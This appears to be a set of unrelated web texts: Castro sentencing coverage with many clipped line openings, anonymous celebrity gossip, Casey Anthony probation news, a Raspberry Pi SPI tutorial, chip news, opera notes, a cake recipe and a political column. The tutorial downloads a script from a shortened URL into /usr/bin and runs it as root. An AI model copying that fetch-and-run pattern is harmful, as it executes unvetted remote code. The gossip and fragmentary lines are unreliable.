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the oddest thing that happened in the courtroom was Ariel Castro's denials.
didn't kill anyone, he didn't forcibly rape anyone, that the sex was consensual
and that there was even what he called harmony in the house of horrors.
you saw the Youtube video of Amanda from this weekend, that right there proves
that she was not injured," says Castro.
Castro may be the only person on the planet that believes there was harmony of
any kind in his house of horrors.
total weight of all the chains and padlocks combined was 92.28 pounds.
of the home show it as a disheveled mess with chains in rooms, old heavy doors
nailed over exterior windows and obstacles placed on any exit path-- and these
were not the most graphic pictures. The descriptions at times were
graphic as were descriptions of the women on the night they were found.
Knight in particular related that she had been held prisoner, related that she
had been pregnant, and been subjected to deprivation of food and violence
to try and force a miscarriage.
demeanor while polite was defiant when it came to what he did. He seems
to be laboring under the idea that he is not a violent person. Michelle
Knight spoke, not looking at Castro. She was strong.
took 11 years of my life away and now I've got them back. I spent 11
years in hell, now your hell is just beginning."
judge had the final say--life plus 1000 years for Castro and a scolding.
to me that you would still pose a grave danger to the community if you would
receive anything but consecutive sentences. You don't deserve to be out
in the community. You're too dangerous."
the sentencing, a cousin of Gina DeJesus spoke. When she finished she turned
toward Ariel Castro and in Spanish told him "May God have mercy on your
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#1 – This married soon to be again A list mostly television actress was having an affair with a guy on her show so he was fired because his boss was jealous.
#2 – This B+ list mostly television actress threw a tantrum at her agent's office last week when she found out she wasn't getting her own tickets to the Emmy Awards even though she is a star of a network show. She is having to attend as a +1 of her movie/tv actor husband.
#3- This A list mostly television actress on a hit network show is about to get slammed with a wave of bad publicity. Her new boyfriend's ex is going to be in the tabloids calling the actress a homewrecker. Our actress has never had bad publicity.


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Probation ending for Casey Anthony
Casey Anthony will be legally free to come and go as she pleases as of Friday — for the first time in four years.
Anthony, 26, spent three years in prison awaiting trial before being acquitted in July 2011 of murdering her 2-year-old daughter Caylee. Now she is wrapping up a year of probation for unrelated check fraud.
With her probation ending, Anthony will be allowed to leave the state of Florida; she will no longer have unannounced visits from state officials, nor will she have to report to a probation officer.
"She is completely free to go about her business and do whatever she wants to do," Anthony's lawyer, Cheney Mason, said. "She will have no further constraints by the government, but she will then have to then worry about the reality of the world."
Anthony's acquittal on the murder charge spurred outcry, Facebook hate groups and death threats from people who disagreed with the Orlando jury's verdict in the high-profile, nationally televised trial.
In 2008, Anthony had failed to report her toddler missing for a month before contacting police. She claimed Caylee was kidnapped.
Six months later, Caylee's remains were found in a wooded area near the Anthony family home.
Before the murder trial, Anthony plead guilty in 2010 to stealing checks from her best friend, Amy Huizenga, — while Caylee was missing.
The Florida Department of Corrections is not releasing information about the end of Anthony's probation because of security concerns.
" It's not the norm" to withhold such information, said Ann Howard, department spokeswoman. "But it's what we are doing in this " case.
Anthony's next steps are uncertain, Mason said.
"Of course that information will have to be protected with utmost confidentiality because of the crazies that are out there," Mason said.
Mason says over the past year that Anthony has been watching TV, exercising, doing housekeeping and working a clerical job.
"It's a whole lot different than being in an 8-by-10 isolation cell, but she is still in a cell of a different description," Mason said. "Common sense and safety have restricted her."
Publicly, Anthony surfaced in a leaked video diary clip and on CNN in a phone interview with talk-show host Piers Morgan.
She still faces a lawsuit from a woman named Zenaida Fernandez-Gonzalez who claims Anthony ruined her reputation when she told Orange County investigators that a nanny by the same name stole Caylee.
"She is reviled by some as the most hated woman in America," said Charles Greene, another Anthony lawyer. "We have received death threats about her."
Greene says he gets calls from people who are consumed with love —or hate — for Anthony.
"There are those that hate her with an obsession, and there are those who love her with an obsession, and that's scary," Greene said. "Some of those happened to be crazy enough to try to hurt her."
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First you'll need to download the beta "Wheezy" debian package from here. Then follow the normal instructions for installing it to your board. Once you have installed it and booted up for the second time i ran some updates (That took hours!!)
sudo apt-get update
sudo apt-get upgrade
While that is updating lets talk a little bit of SPI background knowledge is needed in order to get this working. First off Serial Peripheral interface (SPI) is made up of 4 wires normally. It is a standard that was designed by Motorola for use with their micro controllers. If you're interested in learning more about SPI i've added the Wikipedia link. Here is what a standard SPI setup looks like, multiple slaves is optional.
SS - Slave Select (Beagleboard community calles this Chip Select (CS))
MOSI - Master Out Slave In
MISO - Master In Slave Out
CLK - Clock
More INSTALL
Next it was time to update to the latest firmware for the board, as the latest has brought out the SPI controller. To do so I used Andrews Hexxeh rpi-update to do this. Some needed tools...
sudo apt-get install git
Now lets download his tool and install change who has access to read/write the tool.
sudo wget http://goo.gl/1BOfJ -O /usr/bin/rpi-update
sudo chmod +x /usr/bin/rpi-update
Once this is done you can run it by calling the following command. (mine took a while).
sudo rpi-update
*NOTE - while I was doing this I ran out of space on my 4GB drive. I figured I wasn't really low on space and when I checked it I found my windows tool originally only made me a 2GB partition. There are many ways to do this, but I used GPARTED to expand my space to the real 4GB. It's a live CD...
SanDisk 4GB Extreme 3 SD Card w/Reader
So once the updates are all completed. I rebooted my Pi.
sudo shutdown -h now
Unplug the power and plug it back in. And when I rebooted I went to my /dev/ directory and found my spidev devices!
The last part of this is to test the SPI signal. I'm going to download spidev_test.c
wget http://git.kernel.org/?p=linux/kernel/git/torvalds/linux.git;a=blob_plain;f=Documentation/spi/spidev_test.c -O spidev_test.c
Next we want to short the MISO and MOSI pins. Located as GPIO 9 & GPIO 10 as seen below.
We want to edit the spidev_test.c file so it it uses the correct spidevice in our /dev/ folder.
nano spidev_test.c
scroll down and change the device to "spidev0.0" and then save it by pressing the Ctrl+O to save and Ctrl+X to exit. lets compile this thing and run it now.
gcc spidev_test.c
sudo ./a.out
If you see this it's working.
If you see this it's not working.
For more information on how to control your SPI with python try checking out my post for how to do so on the beagleboard xm. Many have found it useful and i'm sure you will too. Python controlling SPI on the Beagleboard XM


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Samsung Electronics has announced what it claims is the industry's first production of a high-performance Toggle DDR 2.0 multi-level-cell (MLC) memory chip, designed to support the high-performance requirements of mobile devices such as smartphones, tablets and solid state drives (SSDs).
The new chip features a 64Gb density, made possible by using an advanced 20nm-class process technology, the vendor said. Equipped with a toggle DDR (Double Data Rate) 2.0 interface, the device can transmit data at a bandwidth of up to 400Mbps. This provides a 10-fold increase over the 40Mbps SDR NAND flash memory in widespread use today, and a three-fold boost over 133Mbps toggle DDR 1.0, 32Gb NAND flash memory, Samsung added.
The high-speed 400Mbps bandwidth of toggle DDR 2.0 is expected to better support the ongoing shift toward advanced interfaces, as more mobile and consumer electronics devices requiring added performance and higher densities adopt new interfaces such as USB 3.0 and SATA 6.0Gbps, according to Samsung.
The new 64Gb MLC NAND chip also offers an approximate 50% increase in productivity over 20nm-class 32Gb MLC NAND chips with a Toggle DDR 1.0 interface, which Samsung started producing in April 2010, and more than doubles the productivity of 30nm-class 32Gb MLC NAND, the company said.
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18 and 19 March 2012
Theaterhaus Stuttgart
Oscar Strasnoy (France/Argentina)
world premiere
Further performances: 20 April 2012 Teatros del Canal, Sala verde, Madrid
music Oscar Strasnoy
conductor Titus Selge
Neue Vocalsolisten
countertenor Daniel Gloger, coloratura soprano Sarah Maria Sun, bass Andreas Fischer, mezzosoprano Truike van der Poel, tenor Martin Nagy, baritone Guillermo Anzorena
commissioned by Musik der Jahrhunderte Stuttgart and Musicadhoy Madrid
as aprt of the Project ENPARTS – European Network of Performing Arts
with the support of the Culture Programme of the Europea Commission
The Russian-French-Argentinian composer Oscar Strasnoy (1970) gives his music theater work the title
(2004) as "Operette a cappella". Geschichte [history – story] is here a concept with several meanings: It narrates a story in history – and particularly it is considered as a story. Contemporary, narrative music theater with entertaining value and vocal virtuosity. Sung by the Neue Vocalsolisten Stuttgart – the most sought-after experimental vocal ensemble.
The text comes from the Polish writer Witold Gombrowicz (1904- 1969). He elaborates in
the memories of his childhood and adolescence and narrates about the educational methods on a Polish farm on the eve of the First World War. It is – let's say – a kind of "Polish version" of the movie
The White Ribbon
by Michael Haneke in music. Only more grotesque, bizarre, comical – and in particular crazier.
It is a setting "around a dining table" with conflicts, torments and maniac habits of the family – totally in line with the "Czechoslovakian constellation". The macho brother Janusz emulates the exasperated head of the family, the mother suffers from chronic hysteria, the brother Jerzy has an infantilized behavior and the little sister Rena flees towards religious enthusiasm.
The Neue Vocalsolisten are always in search for new music theatre subjects and composers that try to interpret the genre music theatre. It was a lucky chance that the Vocalsolisten met composer Oscar Strasnoy. Oscar Strasnoy – born in 1970 in Buenos Aires – had a scholarship for the Academy Schloss Solitude in Stuttgart in 2001 and 2002. In that period he wrote his Operette a cappella bearing the title Geschichte. The six roles – six members of a noble family, at the core the younger son Witold – were immediately assigned to the six members of the Neue Vocalsolisten. A work that enhances the Neue Vocalsolisten's consolidated genre of virtuous "vocal chamber music" and emphasizes its direct theatricalism.
The libretto of the composition was written by Galin Stoey – based on fragments of Polish writer Witold Gombrowicz (1904-1934). In Summer 1939 he was on a journey to Buenos Aires as suddenly the Second World War broke out and so then he lived almost 24 years in Argentina. Gombrowicz wrote nearly all his works during his Argentinian exile. They were then published in Polish from 1950 onwards in Paris and later in Warsaw, too. As Gombrowicz once stated, he always gave his characters the right of individuality and intellectual freedom with no conventionality. Gombrowicz considered ideologies, religious fanaticism and nationalism particularly as repulsive.
Oscar Strasnoy – fascinated by this attitude – took up the literary life topic of Gombrowicz in his composition. Its style is so heterogeneous as the life of the six members in the noble family 3 shortly before the break out of the First World War. This family life is a picture of that time, a picture of a declining social order, in which its characters try to persistently compensate their fears of decline, their helplessness and ignorance with intrigues. The character in which all these tendencies break prismatically is Witold – the alter ego of the author. At a certain point he says: "The world has slipped away from me. It doesn't love me and I don't love it – a dull hostility… and if I cannot remove this tension, a wave of terrible events will wash us away." From the music perspective, this tension of Oscar Strasnoy is represented with fragments of Operette that break in their own sounds.
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Serves 40.
Several days before decorating cake, tint 39 oz. fondant green, 29 oz. red, 15 oz. blue and 8 oz. yellow. Roll out 3 oz. of each color fondant 1/8 in. thick. With cutter/embosser, cut ¼ in. strips approximately 4 in. long. Shape at least 4 strips of each color into bow loops, pinching ends to secure. Stand on side and place on cornstarch-dusted cake board and allow to dry. Roll remaining strips around dowel rod to form curls. Let set 5 to 10 minutes. Slide curl off dowel rod; let dry on cornstarch-dusted cake board.
Bake and cool 2-layer 6-in. and 10-in. round cakes. Stack small cooled cake layers on same size cake board. Stack large cooled cake layers on silver cake base. Prepare for fondant by lightly icing with buttercream.
Cover 6-inch cake with red fondant; smooth. Cover 10-in. cake with green fondant; smooth. Cover cakes with plastic wrap when not decorating them.
Roll out blue fondant 1/8 in. thick; cut squares with medium Cut-Out. Arrange squares diagonally, starting at top of cake side. Add next square directly below, with corner tips touching; trim 2nd square at cake board. Add next square on the cake top, above first square placed, corner tips touching. Continue around cake in same way, touching corner tips above, below and next to previously placed squares and making sure to keep open green spaces a straight square. Roll out red fondant ¼ in. thick; with wide end of Tip 1M, cut circles; imprint button "holes" using handle of decorator brush. Attach to cake where blue squares meet with damp brush.
Roll out yellow fondant 1/8 in. thick; cut 1/4 in. x 6 in. strips. Divide cake into 10ths; attach strips at cake divisions with damp brush. Attach another set of strips between strips already attached. Trim off excess.
Stack small cake on large cake. Roll remaining yellow fondant into two ropes; twist together and position around base of small cake. Make ½ in. ball of fondant; position at base of large cake. Starting at bottom, add dried fondant loops and form flower. Roll remaining red and blue fondant into balls; attach to cake board for bottom border. Mound small amount of remaining fondant; place on top of small cake; insert curliques into fondant (use buttercream icing if needed).


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Obama pursues 'permission structure' politics in second term
"Permission structure" wasn't the oddest thing to come out of President Barack Obama's mouth this week. That honor goes to Obama's assurance that NBA veteran Jason Collins, having come out as gay, "can bang with Shaq," which had West Wing aides wincing. Still, the jokes flew. Is that "structure" like having a safe word? Isn't it better to have a forgiveness structure?
"Permission structure," an arcane term drawn from the "game theory" branch of political science, which studies how people make decisions, shed quite a bit of light on how this president thinks about the limits of his power at the dawn of his second term.
You can think of it as a fancy way to say "politics." And you'll be seeing it in upcoming debates on everything from immigration reform to battles over the government's finances. It's likely to be a feature of the next round of the gun debate, since Obama served notice in Mexico on Thursday that he would try again on that front. (You know who else used "permission structure"? Some Mitt Romney supporters. See below).
Obama used the expression as part of a defiant response to a reporter asking whether he still had the "juice" needed to get his agenda through Congress, where Republican opposition can doom any bill.
Ever since the GOP—aided by a handful of red-state Democrats—killed bipartisan legislation that would have modestly tightened background checks on would-be gun buyers, the media has beenwondering.
"Maybe I should just pack up and go home. Golly," Obama said wryly in response to the 'juice' question. "As Mark Twain said, rumors of my demise may be a little exaggerated at this point."
Obama noted that some Republicans who might be inclined to work with him—on gun violence or on a "grand bargain" to stem the tide or red ink swamping the country's finances—face considerable political hurdles.
"Their base thinks that compromise with me is somehow a betrayal. They're worried about primaries. And I understand all that," Obama said. "And we're going to try to do everything we can to create a permission structure for them to be able to do what's going to be best for the country."
So what does the president mean when he says "permission structure"?


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